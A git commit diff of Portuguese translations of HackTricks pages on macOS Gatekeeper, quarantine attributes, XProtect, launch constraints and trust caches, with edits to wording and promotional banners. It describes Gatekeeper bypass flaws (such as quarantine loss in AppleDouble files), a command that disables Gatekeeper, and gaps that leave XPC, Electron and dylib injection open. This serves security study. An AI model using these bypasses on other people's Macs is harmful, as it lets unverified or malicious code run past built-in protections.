Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:14:51 +00:00
parent 1bd9fb51a0
commit 7858c9a708
20 changed files with 619 additions and 489 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
* Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **me siga** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -26,7 +29,7 @@ Além disso, o Gatekeeper reforça o controle e a segurança do usuário, **soli
### Assinaturas de Aplicativos
As assinaturas de aplicativos, também conhecidas como assinaturas de código, são um componente crítico da infraestrutura de segurança da Apple. Elas são usadas para **verificar a identidade do autor do software** (o desenvolvedor) e garantir que o código não tenha sido adulterado desde a última assinatura.
As assinaturas de aplicativos, também conhecidas como assinaturas de código, são um componente crítico da infraestrutura de segurança da Apple. Elas são usadas para **verificar a identidade do autor do software** (o desenvolvedor) e garantir que o código não foi adulterado desde a última assinatura.
Veja como funciona:
@ -61,9 +64,9 @@ codesign -s <cert-name-keychain> toolsdemo
O processo de notarização da Apple serve como uma proteção adicional para proteger os usuários de software potencialmente prejudicial. Envolve o **desenvolvedor enviando seu aplicativo para exame** pelo **Serviço de Notário da Apple**, que não deve ser confundido com a Revisão de Aplicativos. Este serviço é um **sistema automatizado** que analisa o software enviado em busca de **conteúdo malicioso** e quaisquer problemas potenciais com a assinatura de código.
Se o software **passar** nesta inspeção sem levantar preocupações, o Serviço de Notário gera um ticket de notarização. O desenvolvedor é então obrigado a **anexar este ticket ao seu software**, um processo conhecido como 'stapling'. Além disso, o ticket de notarização também é publicado online, onde o Gatekeeper, a tecnologia de segurança da Apple, pode acessá-lo.
Se o software **passar** nesta inspeção sem levantar preocupações, o Serviço de Notário gera um ticket de notarização. O desenvolvedor é então obrigado a **anexar este ticket ao seu software**, um processo conhecido como 'stapling.' Além disso, o ticket de notarização também é publicado online, onde o Gatekeeper, a tecnologia de segurança da Apple, pode acessá-lo.
Na primeira instalação ou execução do software pelo usuário, a existência do ticket de notarização - seja anexado ao executável ou encontrado online - **informa ao Gatekeeper que o software foi notariado pela Apple**. Como resultado, o Gatekeeper exibe uma mensagem descritiva no diálogo de lançamento inicial, indicando que o software passou por verificações de conteúdo malicioso pela Apple. Este processo, portanto, aumenta a confiança do usuário na segurança do software que eles instalem ou executem em seus sistemas.
Na primeira instalação ou execução do software pelo usuário, a existência do ticket de notarização - seja anexado ao executável ou encontrado online - **informa ao Gatekeeper que o software foi notarizado pela Apple**. Como resultado, o Gatekeeper exibe uma mensagem descritiva no diálogo de lançamento inicial, indicando que o software passou por verificações de conteúdo malicioso pela Apple. Este processo, portanto, aumenta a confiança do usuário na segurança do software que eles instalem ou executem em seus sistemas.
### Enumerando GateKeeper
@ -149,7 +152,7 @@ spctl --assess -v /Applications/App.app
```
### Quarantine Files
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de email, **anexam um atributo de arquivo estendido**, comumente conhecido como o "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam esse atributo; por exemplo, softwares comuns de cliente BitTorrent geralmente ignoram esse processo.
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de email, **anexam um atributo de arquivo estendido**, comumente conhecido como o "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente portadora de riscos. No entanto, nem todos os aplicativos anexam esse atributo; por exemplo, softwares comuns de cliente BitTorrent geralmente ignoram esse processo.
**A presença de um sinalizador de quarentena sinaliza o recurso de segurança Gatekeeper do macOS quando um usuário tenta executar o arquivo**.
@ -178,7 +181,7 @@ spctl --enable
spctl --disable
#You can also allow nee identifies to execute code using the binary "spctl"
```
Você também pode **verificar se um arquivo tem o atributo estendido de quarentena** com:
Você também pode **verificar se um arquivo possui o atributo estendido de quarentena** com:
```bash
xattr file.png
com.apple.macl
@ -292,9 +295,9 @@ O XProtect é um recurso de **anti-malware** embutido no macOS. O XProtect **ver
O banco de dados do XProtect é **atualizado regularmente** pela Apple com novas definições de malware, e essas atualizações são baixadas e instaladas automaticamente no seu Mac. Isso garante que o XProtect esteja sempre atualizado com as últimas ameaças conhecidas.
No entanto, vale a pena notar que **o XProtect não é uma solução antivírus completa**. Ele apenas verifica uma lista específica de ameaças conhecidas e não realiza varredura em acesso como a maioria dos softwares antivírus.
No entanto, vale a pena notar que **o XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza varredura em acesso como a maioria dos softwares antivírus.
Você pode obter informações sobre a última atualização do XProtect executando:
Você pode obter informações sobre a atualização mais recente do XProtect executando:
{% code overflow="wrap" %}
```bash
@ -304,7 +307,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
XProtect está localizado em uma. localização protegida pelo SIP em **/Library/Apple/System/Library/CoreServices/XProtect.bundle** e dentro do bundle você pode encontrar informações que o XProtect utiliza:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Permite que códigos com esses cdhashes usem direitos legados.
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Permite que códigos com esses cdhashes usem permissões legadas.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista de plugins e extensões que são proibidos de carregar via BundleID e TeamID ou indicando uma versão mínima.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regras Yara para detectar malware.
* **`XProtect.bundle/Contents/Resources/gk.db`**: Banco de dados SQLite3 com hashes de aplicativos bloqueados e TeamIDs.
@ -314,7 +317,7 @@ Note que há outro aplicativo em **`/Library/Apple/System/Library/CoreServices/X
### Não é Gatekeeper
{% hint style="danger" %}
Note que o Gatekeeper **não é executado toda vez** que você executa um aplicativo, apenas _**AppleMobileFileIntegrity**_ (AMFI) **verificará assinaturas de código executável** quando você executar um aplicativo que já foi executado e verificado pelo Gatekeeper.
Note que o Gatekeeper **não é executado toda vez** que você executa um aplicativo, apenas _**AppleMobileFileIntegrity**_ (AMFI) **verificará assinaturas de código executáveis** quando você executar um aplicativo que já foi executado e verificado pelo Gatekeeper.
{% endhint %}
Portanto, anteriormente era possível executar um aplicativo para armazená-lo em cache com o Gatekeeper, então **modificar arquivos não executáveis da aplicação** (como arquivos Electron asar ou NIB) e se nenhuma outra proteção estivesse em vigor, a aplicação seria **executada** com as adições **maliciosas**.
@ -394,7 +397,7 @@ Foi descoberto que **o Google Chrome não estava definindo o atributo de quarent
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
Os formatos de arquivo AppleDouble armazenam os atributos de um arquivo em um arquivo separado que começa com `._`, isso ajuda a copiar os atributos do arquivo **entre máquinas macOS**. No entanto, foi notado que após descompactar um arquivo AppleDouble, o arquivo que começa com `._` **não recebeu o atributo de quarentena**.
Os formatos de arquivo AppleDouble armazenam os atributos de um arquivo em um arquivo separado que começa com `._`, isso ajuda a copiar os atributos do arquivo **entre máquinas macOS**. No entanto, foi notado que, após descompactar um arquivo AppleDouble, o arquivo que começa com `._` **não recebeu o atributo de quarentena**.
{% code overflow="wrap" %}
```bash
@ -452,7 +455,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Restrições de Inicialização/Ambiente do macOS e Cache de Confiança
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
## Basic Information
As restrições de inicialização no macOS foram introduzidas para aprimorar a segurança ao **regulamentar como, quem e de onde um processo pode ser iniciado**. Iniciadas no macOS Ventura, elas fornecem um framework que categoriza **cada binário do sistema em categorias de restrição distintas**, definidas dentro do **cache de confiança**, uma lista contendo binários do sistema e seus respectivos hashes. Essas restrições se estendem a cada binário executável dentro do sistema, envolvendo um conjunto de **regras** que delineiam os requisitos para **iniciar um determinado binário**. As regras abrangem restrições próprias que um binário deve satisfazer, restrições dos pais que devem ser atendidas pelo processo pai e restrições responsáveis a serem seguidas por outras entidades relevantes.
As restrições de lançamento no macOS foram introduzidas para aumentar a segurança, **regulando como, quem e de onde um processo pode ser iniciado**. Iniciadas no macOS Ventura, elas fornecem uma estrutura que categoriza **cada binário do sistema em distintas categorias de restrição**, que são definidas dentro do **cache de confiança**, uma lista contendo binários do sistema e seus respectivos hashes. Essas restrições se estendem a cada binário executável dentro do sistema, implicando um conjunto de **regras** que delineiam os requisitos para **lançar um binário específico**. As regras abrangem restrições próprias que um binário deve satisfazer, restrições de pai que devem ser atendidas pelo seu processo pai, e restrições responsáveis que devem ser seguidas por outras entidades relevantes.
O mecanismo se estende a aplicativos de terceiros por meio das **Restrições de Ambiente**, iniciando no macOS Sonoma, permitindo que os desenvolvedores protejam seus aplicativos especificando um **conjunto de chaves e valores para restrições de ambiente**.
O mecanismo se estende a aplicativos de terceiros através de **Restrições de Ambiente**, a partir do macOS Sonoma, permitindo que os desenvolvedores protejam seus aplicativos especificando um **conjunto de chaves e valores para restrições de ambiente.**
Você define **restrições de ambiente de inicialização e de biblioteca** em dicionários de restrição que você salva em **arquivos de lista de propriedades `launchd`**, ou em **arquivos de lista de propriedades separados** que você usa na assinatura de código.
Você define **restrições de ambiente de lançamento e de biblioteca** em dicionários de restrição que você salva em **arquivos de lista de propriedades `launchd`**, ou em **arquivos de lista de propriedades** separados que você usa na assinatura de código.
Existem 4 tipos de restrições:
* **Restrições Próprias**: Restrições aplicadas ao binário **em execução**.
* **Processo Pai**: Restrições aplicadas ao **processo pai do processo** (por exemplo, **`launchd`** executando um serviço XP).
* **Restrições Responsáveis**: Restrições aplicadas ao **processo que chama o serviço** em uma comunicação XPC.
* **Restrições de Carregamento de Biblioteca**: Use restrições de carregamento de biblioteca para descrever seletivamente o código que pode ser carregado.
* **Restrições Próprias**: Restrições aplicadas ao **binário em execução**.
* **Processo Pai**: Restrições aplicadas ao **pai do processo** (por exemplo, **`launchd`** executando um serviço XP)
* **Restrições Responsáveis**: Restrições aplicadas ao **processo que chama o serviço** em uma comunicação XPC
* **Restrições de carregamento de biblioteca**: Use restrições de carregamento de biblioteca para descrever seletivamente o código que pode ser carregado
Portanto, quando um processo tenta iniciar outro processo — chamando `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` — o sistema operacional verifica se o **arquivo executável** satisfaz sua **própria restrição**. Ele também verifica se o **processo pai** **satisfaz a restrição do processo pai** do executável e se o **processo responsável** **satisfaz a restrição do processo responsável** do executável. Se alguma dessas restrições de inicialização não for atendida, o sistema operacional não executa o programa.
Assim, quando um processo tenta lançar outro processo — chamando `execve(_:_:_:)` ou `posix_spawn(_:_:_:_:_:_:)` — o sistema operacional verifica se o arquivo **executável** **satisfaz** sua **própria restrição própria**. Ele também verifica se o executável do **processo pai** **satisfaz** a **restrição de pai** do executável, e se o executável do **processo responsável** **satisfaz a restrição de processo responsável** do executável. Se alguma dessas restrições de lançamento não for satisfeita, o sistema operacional não executa o programa.
Se ao carregar uma biblioteca qualquer parte da **restrição da biblioteca não for verdadeira**, seu processo **não carrega** a biblioteca.
## Categorias LC
## LC Categories
Um LC é composto por **fatos** e **operações lógicas** (e, ou..) que combinam fatos.
Os [**fatos que um LC pode usar são documentados**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Por exemplo:
Os [**fatos que um LC pode usar estão documentados**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Por exemplo:
* is-init-proc: Um valor booleano que indica se o executável deve ser o processo de inicialização do sistema operacional (`launchd`).
* is-sip-protected: Um valor booleano que indica se o executável deve ser um arquivo protegido pelo Sistema de Proteção da Integridade (SIP).
* `on-authorized-authapfs-volume:` Um valor booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* `on-authorized-authapfs-volume`: Um valor booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* Volume Cryptexes
* `on-system-volume:` Um valor booleano que indica se o sistema operacional carregou o executável do volume do sistema atualmente inicializado.
* is-init-proc: Um valor Booleano que indica se o executável deve ser o processo de inicialização do sistema operacional (`launchd`).
* is-sip-protected: Um valor Booleano que indica se o executável deve ser um arquivo protegido pela Proteção de Integridade do Sistema (SIP).
* `on-authorized-authapfs-volume:` Um valor Booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* `on-authorized-authapfs-volume`: Um valor Booleano que indica se o sistema operacional carregou o executável de um volume APFS autorizado e autenticado.
* Volume de Cryptexes
* `on-system-volume:` Um valor Booleano que indica se o sistema operacional carregou o executável do volume de sistema atualmente inicializado.
* Dentro de /System...
* ...
Quando um binário da Apple é assinado, ele **é atribuído a uma categoria LC** dentro do **cache de confiança**.
Quando um binário da Apple é assinado, ele **o atribui a uma categoria LC** dentro do **cache de confiança**.
* As **16 categorias LC do iOS** foram [**revertidas e documentadas aqui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* As atuais **categorias LC (macOS 14** - Somona) foram revertidas e suas [**descrições podem ser encontradas aqui**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
* As **categorias LC do iOS 16** foram [**revertidas e documentadas aqui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* As **categorias LC atuais (macOS 14** - Sonoma) foram revertidas e suas [**descrições podem ser encontradas aqui**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Por exemplo, a Categoria 1 é:
```
@ -66,35 +67,35 @@ Parent Constraint: is-init-proc
### Reversão das Categorias LC
Você tem mais informações [**sobre isso aqui**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), mas basicamente, eles são definidos em **AMFI (AppleMobileFileIntegrity)**, então você precisa baixar o Kit de Desenvolvimento do Kernel para obter o **KEXT**. Os símbolos que começam com **`kConstraintCategory`** são os **interessantes**. Extraindo-os, você obterá um fluxo codificado DER (ASN.1) que precisará ser decodificado com [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ou a biblioteca python-asn1 e seu script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) que lhe dará uma string mais compreensível.
Você tem mais informações [**sobre isso aqui**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), mas basicamente, elas são definidas no **AMFI (AppleMobileFileIntegrity)**, então você precisa baixar o Kernel Development Kit para obter o **KEXT**. Os símbolos que começam com **`kConstraintCategory`** são os **interessantes**. Extraindo-os, você obterá um fluxo codificado DER (ASN.1) que precisará decodificar com [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) ou a biblioteca python-asn1 e seu script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), que lhe dará uma string mais compreensível.
## Restrições de Ambiente
Essas são as Restrições de Lançamento configuradas em **aplicativos de terceiros**. O desenvolvedor pode selecionar os **fatos** e **operandos lógicos a serem usados** em seu aplicativo para restringir o acesso a si mesmo.
Estas são as Restrições de Lançamento configuradas em **aplicações de terceiros**. O desenvolvedor pode selecionar os **fatos** e **operadores lógicos a serem usados** em sua aplicação para restringir o acesso a si mesmo.
É possível enumerar as Restrições de Ambiente de um aplicativo com:
É possível enumerar as Restrições de Ambiente de uma aplicação com:
```bash
codesign -d -vvvv app.app
```
## Caches de Confiança
## Trust Caches
No **macOS** existem algumas caches de confiança:
Em **macOS**, existem alguns caches de confiança:
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
- **`/System/Library/Security/OSLaunchPolicyData`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
E no iOS parece estar em **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
E no iOS parece que está em **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
{% hint style="warning" %}
No macOS em dispositivos Apple Silicon, se um binário assinado pela Apple não estiver na cache de confiança, o AMFI se recusará a carregá-lo.
No macOS rodando em dispositivos Apple Silicon, se um binário assinado pela Apple não estiver no cache de confiança, o AMFI se recusará a carregá-lo.
{% endhint %}
### Enumerando Caches de Confiança
### Enumerando Trust Caches
Os arquivos de cache de confiança anteriores estão no formato **IMG4** e **IM4P**, sendo o IM4P a seção de carga útil de um formato IMG4.
Os arquivos de cache de confiança anteriores estão no formato **IMG4** e **IM4P**, sendo IM4P a seção de payload de um formato IMG4.
Você pode usar [**pyimg4**](https://github.com/m1stadev/PyIMG4) para extrair a carga útil dos bancos de dados:
Você pode usar [**pyimg4**](https://github.com/m1stadev/PyIMG4) para extrair o payload de bancos de dados:
{% code overflow="wrap" %}
```bash
@ -114,7 +115,7 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Outra opção poderia ser usar a ferramenta [**img4tool**](https://github.com/tihmstar/img4tool), que funcionará até mesmo no M1, mesmo que a versão seja antiga e para x86\_64 se você instalá-la nos locais apropriados).
(Uma outra opção poderia ser usar a ferramenta [**img4tool**](https://github.com/tihmstar/img4tool), que funcionará mesmo no M1, mesmo que o lançamento seja antigo, e para x86\_64 se você a instalar nos locais apropriados).
Agora você pode usar a ferramenta [**trustcache**](https://github.com/CRKatri/trustcache) para obter as informações em um formato legível:
```bash
@ -140,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
O cache de confiança segue a seguinte estrutura, então a **categoria LC é a 4ª coluna**.
O cache de confiança segue a seguinte estrutura, então a **categoria LC é a 4ª coluna**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -150,31 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Em seguida, você poderia usar um script como [**este**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) para extrair dados.
Então, você poderia usar um script como [**este**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) para extrair dados.
A partir desses dados, você pode verificar os Apps com um valor de **restrições de lançamento de `0`**, que são os que não estão restritos ([**verifique aqui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) para saber o que cada valor representa).
Com esses dados, você pode verificar os aplicativos com um **valor de restrições de lançamento de `0`**, que são aqueles que não estão restritos ([**ver aqui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) para o que cada valor significa).
## Mitigações de Ataque
As Restrições de Lançamento teriam mitigado vários ataques antigos ao **garantir que o processo não seja executado em condições inesperadas:** Por exemplo, de locais inesperados ou sendo invocado por um processo pai inesperado (se apenas o launchd deveria iniciá-lo)
As Restrições de Lançamento teriam mitigado vários ataques antigos ao **garantir que o processo não seja executado em condições inesperadas:** Por exemplo, a partir de locais inesperados ou sendo invocado por um processo pai inesperado (se apenas o launchd deve estar lançando).
Além disso, as Restrições de Lançamento também **mitigam ataques de degradação**.
Além disso, as Restrições de Lançamento também **mitigam ataques de downgrade.**
No entanto, elas **não mitigam abusos XPC** comuns, injeções de código **Electron** ou **injeções dylib** sem validação de biblioteca (a menos que os IDs de equipe que podem carregar bibliotecas sejam conhecidos).
No entanto, elas **não mitigam abusos comuns de XPC**, **injeções de código Electron** ou **injeções de dylib** sem validação de biblioteca (a menos que os IDs de equipe que podem carregar bibliotecas sejam conhecidos).
### Proteção do Daemon XPC
### Proteção de Daemon XPC
No lançamento Sonoma, um ponto notável é a **configuração de responsabilidade do serviço XPC do daemon**. O serviço XPC é responsável por si mesmo, ao contrário do cliente conectado ser responsável. Isso está documentado no relatório de feedback FB13206884. Essa configuração pode parecer falha, pois permite certas interações com o serviço XPC:
Na versão Sonoma, um ponto notável é a **configuração de responsabilidade** do serviço daemon XPC. O serviço XPC é responsável por si mesmo, ao contrário do cliente conectado ser responsável. Isso está documentado no relatório de feedback FB13206884. Essa configuração pode parecer falha, pois permite certas interações com o serviço XPC:
- **Iniciando o Serviço XPC**: Se for considerado um bug, essa configuração não permite iniciar o serviço XPC por meio de código de atacante.
- **Lançando o Serviço XPC**: Se considerado um bug, essa configuração não permite iniciar o serviço XPC através do código do atacante.
- **Conectando a um Serviço Ativo**: Se o serviço XPC já estiver em execução (possivelmente ativado por seu aplicativo original), não há barreiras para se conectar a ele.
Embora a implementação de restrições no serviço XPC possa ser benéfica ao **reduzir a janela para ataques potenciais**, isso não aborda a preocupação principal. Garantir a segurança do serviço XPC requer fundamentalmente **validar efetivamente o cliente conectado**. Este ainda é o único método para fortalecer a segurança do serviço. Além disso, vale ressaltar que a configuração de responsabilidade mencionada está atualmente operacional, o que pode não estar alinhado com o design pretendido.
Embora implementar restrições no serviço XPC possa ser benéfico ao **reduzir a janela para ataques potenciais**, isso não aborda a preocupação principal. Garantir a segurança do serviço XPC requer fundamentalmente **validar efetivamente o cliente conectado**. Este permanece o único método para fortalecer a segurança do serviço. Além disso, vale a pena notar que a configuração de responsabilidade mencionada está atualmente operacional, o que pode não estar alinhado com o design pretendido.
### Proteção Electron
### Proteção do Electron
Mesmo que seja necessário que o aplicativo seja **aberto pelo LaunchService** (nas restrições dos pais). Isso pode ser alcançado usando **`open`** (que pode definir variáveis de ambiente) ou usando a **API de Serviços de Lançamento** (onde as variáveis de ambiente podem ser indicadas).
Mesmo que seja necessário que o aplicativo seja **aberto pelo LaunchService** (nas restrições dos pais). Isso pode ser alcançado usando **`open`** (que pode definir variáveis de ambiente) ou usando a **API de Serviços de Lançamento** (onde variáveis de ambiente podem ser indicadas).
## Referências
@ -183,16 +183,17 @@ Mesmo que seja necessário que o aplicativo seja **aberto pelo LaunchService** (
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
